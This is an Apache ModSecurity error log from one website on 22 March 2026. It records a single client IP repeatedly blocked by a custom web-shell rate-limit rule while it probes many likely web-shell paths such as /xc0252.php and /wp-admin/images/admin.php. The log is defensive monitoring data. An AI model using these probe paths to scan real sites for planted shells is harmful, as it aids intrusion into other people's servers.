[Sun Mar 22 19:02:25.690831 2026] [:error] [pid 51363:tid 51438] [client 51.120.72.165:32840] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aapig.php"] [unique_id "ab_MQVwa9x6OCTRkhl2F7AAAAIk"]
[Sun Mar 22 19:02:26.245267 2026] [:error] [pid 51362:tid 51415] [client 51.120.72.165:62488] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aapig.php"] [unique_id "ab_MQsOwPm3DXzTDjUedqAAAAE4"]
[Sun Mar 22 19:02:26.844315 2026] [:error] [pid 51362:tid 51419] [client 51.120.72.165:35058] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aapig.php"] [unique_id "ab_MQsOwPm3DXzTDjUedqwAAAFI"]
[Sun Mar 22 19:02:27.391203 2026] [:error] [pid 30166:tid 30187] [client 51.120.72.165:59244] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webadmin.php"] [unique_id "ab_MQ7m4_26jKMD0zy3NeQAAAUw"]
[Sun Mar 22 19:02:27.944804 2026] [:error] [pid 51362:tid 51410] [client 51.120.72.165:59783] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webadmin.php"] [unique_id "ab_MQ8OwPm3DXzTDjUedrwAAAEk"]
[Sun Mar 22 19:02:28.473726 2026] [:error] [pid 51363:tid 51451] [client 51.120.72.165:62474] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webadmin.php"] [unique_id "ab_MRFwa9x6OCTRkhl2GBQAAAJU"]
[Sun Mar 22 19:02:29.050607 2026] [:error] [pid 51363:tid 51447] [client 51.120.72.165:62507] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/webadmin.php"] [unique_id "ab_MRVwa9x6OCTRkhl2GDgAAAJE"]
[Sun Mar 22 19:02:29.581929 2026] [:error] [pid 51363:tid 51434] [client 51.120.72.165:52442] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xc0252.php"] [unique_id "ab_MRVwa9x6OCTRkhl2GEwAAAIY"]
[Sun Mar 22 19:02:30.130014 2026] [:error] [pid 51363:tid 51436] [client 51.120.72.165:37955] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xc0252.php"] [unique_id "ab_MRlwa9x6OCTRkhl2GFwAAAIc"]
[Sun Mar 22 19:02:30.657655 2026] [:error] [pid 51361:tid 51389] [client 51.120.72.165:34986] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xc0252.php"] [unique_id "ab_MRhXYUsdvKC9YWpXS5AAAABE"]
[Sun Mar 22 19:02:31.200001 2026] [:error] [pid 51362:tid 51408] [client 51.120.72.165:35025] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xc0252.php"] [unique_id "ab_MR8OwPm3DXzTDjUedxQAAAEc"]
[Sun Mar 22 19:02:31.730117 2026] [:error] [pid 30166:tid 30176] [client 51.120.72.165:35052] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "ab_MR7m4_26jKMD0zy3NfwAAAUU"]
[Sun Mar 22 19:02:32.295514 2026] [:error] [pid 51362:tid 51412] [client 51.120.72.165:50018] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "ab_MSMOwPm3DXzTDjUedyQAAAEs"]
[Sun Mar 22 19:02:32.877473 2026] [:error] [pid 30166:tid 30173] [client 51.120.72.165:49990] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "ab_MSLm4_26jKMD0zy3NgQAAAUI"]
[Sun Mar 22 19:02:33.435805 2026] [:error] [pid 30166:tid 30189] [client 51.120.72.165:50385] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "ab_MSbm4_26jKMD0zy3NgwAAAU4"]
[Sun Mar 22 19:02:33.973351 2026] [:error] [pid 51363:tid 51438] [client 51.120.72.165:52459] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sc.php"] [unique_id "ab_MSVwa9x6OCTRkhl2GIAAAAIk"]
[Sun Mar 22 19:02:34.496792 2026] [:error] [pid 51363:tid 51443] [client 51.120.72.165:31708] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sc.php"] [unique_id "ab_MSlwa9x6OCTRkhl2GJAAAAI4"]
[Sun Mar 22 19:02:35.074004 2026] [:error] [pid 51362:tid 51409] [client 51.120.72.165:52469] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sc.php"] [unique_id "ab_MS8OwPm3DXzTDjUed7wAAAEg"]
[Sun Mar 22 19:02:35.603336 2026] [:error] [pid 51362:tid 51405] [client 51.120.72.165:37954] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sc.php"] [unique_id "ab_MS8OwPm3DXzTDjUed8wAAAEQ"]
[Sun Mar 22 19:02:36.176402 2026] [:error] [pid 51363:tid 51448] [client 51.120.72.165:62505] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mis.php"] [unique_id "ab_MTFwa9x6OCTRkhl2GJwAAAJI"]
[Sun Mar 22 19:02:36.708818 2026] [:error] [pid 51363:tid 51436] [client 51.120.72.165:32843] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mis.php"] [unique_id "ab_MTFwa9x6OCTRkhl2GKgAAAIc"]
[Sun Mar 22 19:02:37.227803 2026] [:error] [pid 51363:tid 51429] [client 51.120.72.165:9071] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mis.php"] [unique_id "ab_MTVwa9x6OCTRkhl2GLQAAAIE"]
[Sun Mar 22 19:02:37.798859 2026] [:error] [pid 51362:tid 51404] [client 51.120.72.165:49359] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mis.php"] [unique_id "ab_MTcOwPm3DXzTDjUed-QAAAEM"]
[Sun Mar 22 19:02:38.323593 2026] [:error] [pid 51363:tid 51444] [client 51.120.72.165:35009] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "ab_MTlwa9x6OCTRkhl2GMQAAAI8"]
[Sun Mar 22 19:02:38.846102 2026] [:error] [pid 51362:tid 51422] [client 51.120.72.165:50001] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "ab_MTsOwPm3DXzTDjUed_AAAAFU"]
[Sun Mar 22 19:02:39.386775 2026] [:error] [pid 51363:tid 51432] [client 51.120.72.165:59251] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "ab_MT1wa9x6OCTRkhl2GOAAAAIQ"]
[Sun Mar 22 19:02:39.947835 2026] [:error] [pid 51362:tid 51402] [client 51.120.72.165:35016] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zogy1.php"] [unique_id "ab_MT8OwPm3DXzTDjUeeAAAAAEI"]
[Sun Mar 22 19:02:40.786850 2026] [:error] [pid 51362:tid 51407] [client 51.120.72.165:37993] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xvs.php"] [unique_id "ab_MUMOwPm3DXzTDjUeeBAAAAEY"]
[Sun Mar 22 19:02:41.336370 2026] [:error] [pid 51362:tid 51410] [client 51.120.72.165:59790] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xvs.php"] [unique_id "ab_MUcOwPm3DXzTDjUeeCAAAAEk"]
[Sun Mar 22 19:02:41.887560 2026] [:error] [pid 51362:tid 51424] [client 51.120.72.165:34981] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xvs.php"] [unique_id "ab_MUcOwPm3DXzTDjUeeCgAAAFc"]
[Sun Mar 22 19:02:42.577407 2026] [:error] [pid 51362:tid 51405] [client 51.120.72.165:52464] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xvs.php"] [unique_id "ab_MUsOwPm3DXzTDjUeeDgAAAEQ"]
[Sun Mar 22 19:02:43.244674 2026] [:error] [pid 30166:tid 30188] [client 51.120.72.165:45611] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ab_MU7m4_26jKMD0zy3NkgAAAU0"]
[Sun Mar 22 19:02:43.875662 2026] [:error] [pid 51362:tid 51416] [client 51.120.72.165:59797] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ab_MU8OwPm3DXzTDjUeeFQAAAE8"]
[Sun Mar 22 19:02:44.655783 2026] [:error] [pid 51361:tid 51371] [client 51.120.72.165:45582] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ab_MVBXYUsdvKC9YWpXS9AAAAAA"]
[Sun Mar 22 19:02:45.196163 2026] [:error] [pid 51468:tid 51483] [client 51.120.72.165:62515] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ab_MVU2TppSvA8W5CBQ-BQAAAMc"]
[Sun Mar 22 19:02:45.792426 2026] [:error] [pid 51362:tid 51417] [client 51.120.72.165:37981] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "ab_MVcOwPm3DXzTDjUeeHAAAAFA"]
[Sun Mar 22 19:02:46.424398 2026] [:error] [pid 51363:tid 51434] [client 51.120.72.165:52439] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "ab_MVlwa9x6OCTRkhl2GRgAAAIY"]
[Sun Mar 22 19:02:47.010944 2026] [:error] [pid 51363:tid 51453] [client 51.120.72.165:32853] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "ab_MV1wa9x6OCTRkhl2GSgAAAJc"]
[Sun Mar 22 19:02:47.655269 2026] [:error] [pid 30166:tid 30185] [client 51.120.72.165:45625] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "ab_MV7m4_26jKMD0zy3NmAAAAUo"]
[Sun Mar 22 19:02:48.193284 2026] [:error] [pid 30166:tid 30191] [client 51.120.72.165:62527] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web.php"] [unique_id "ab_MWLm4_26jKMD0zy3NnQAAAVA"]
[Sun Mar 22 19:02:48.729389 2026] [:error] [pid 40039:tid 40053] [client 51.120.72.165:62509] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web.php"] [unique_id "ab_MWB3aDgUJfBYishmi3wAAAQw"]
[Sun Mar 22 19:02:49.458738 2026] [:error] [pid 51363:tid 51433] [client 51.120.72.165:50390] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web.php"] [unique_id "ab_MWVwa9x6OCTRkhl2GUQAAAIU"]
[Sun Mar 22 19:02:50.044043 2026] [:error] [pid 51363:tid 51453] [client 51.120.72.165:34955] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/web.php"] [unique_id "ab_MWlwa9x6OCTRkhl2GVgAAAJc"]
[Sun Mar 22 19:02:50.655605 2026] [:error] [pid 51363:tid 51447] [client 51.120.72.165:32876] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ab_MWlwa9x6OCTRkhl2GXAAAAJE"]
[Sun Mar 22 19:02:51.219144 2026] [:error] [pid 40039:tid 40054] [client 51.120.72.165:54076] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ab_MWx3aDgUJfBYishmi5gAAAQ0"]
[Sun Mar 22 19:02:51.786654 2026] [:error] [pid 30166:tid 30186] [client 51.120.72.165:59821] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ab_MW7m4_26jKMD0zy3NoAAAAUs"]
[Sun Mar 22 19:02:52.337669 2026] [:error] [pid 51363:tid 51442] [client 51.120.72.165:46700] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ab_MXFwa9x6OCTRkhl2GZwAAAI0"]
[Sun Mar 22 19:02:52.878523 2026] [:error] [pid 30166:tid 30176] [client 51.120.72.165:50007] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "ab_MXLm4_26jKMD0zy3NpAAAAUU"]
[Sun Mar 22 19:02:53.426776 2026] [:error] [pid 30166:tid 30190] [client 51.120.72.165:50009] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "ab_MXbm4_26jKMD0zy3NpwAAAU8"]
[Sun Mar 22 19:02:54.037308 2026] [:error] [pid 51363:tid 51432] [client 51.120.72.165:37989] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "ab_MXlwa9x6OCTRkhl2GbAAAAIQ"]
[Sun Mar 22 19:02:54.593142 2026] [:error] [pid 51361:tid 51387] [client 51.120.72.165:35043] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "ab_MXhXYUsdvKC9YWpXS_QAAAA8"]
[Sun Mar 22 19:02:55.136156 2026] [:error] [pid 51468:tid 51491] [client 51.120.72.165:37968] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "ab_MX02TppSvA8W5CBQ-CwAAAM8"]
[Sun Mar 22 19:02:55.708649 2026] [:error] [pid 51468:tid 51490] [client 51.120.72.165:35930] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "ab_MX02TppSvA8W5CBQ-DQAAAM4"]
[Sun Mar 22 19:02:56.285472 2026] [:error] [pid 51468:tid 51480] [client 51.120.72.165:35953] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "ab_MYE2TppSvA8W5CBQ-DwAAAMQ"]
[Sun Mar 22 19:02:56.824964 2026] [:error] [pid 51363:tid 51453] [client 51.120.72.165:37996] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "ab_MYFwa9x6OCTRkhl2GcgAAAJc"]
[Sun Mar 22 19:02:57.353959 2026] [:error] [pid 51468:tid 51489] [client 51.120.72.165:52417] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "ab_MYU2TppSvA8W5CBQ-EgAAAM0"]
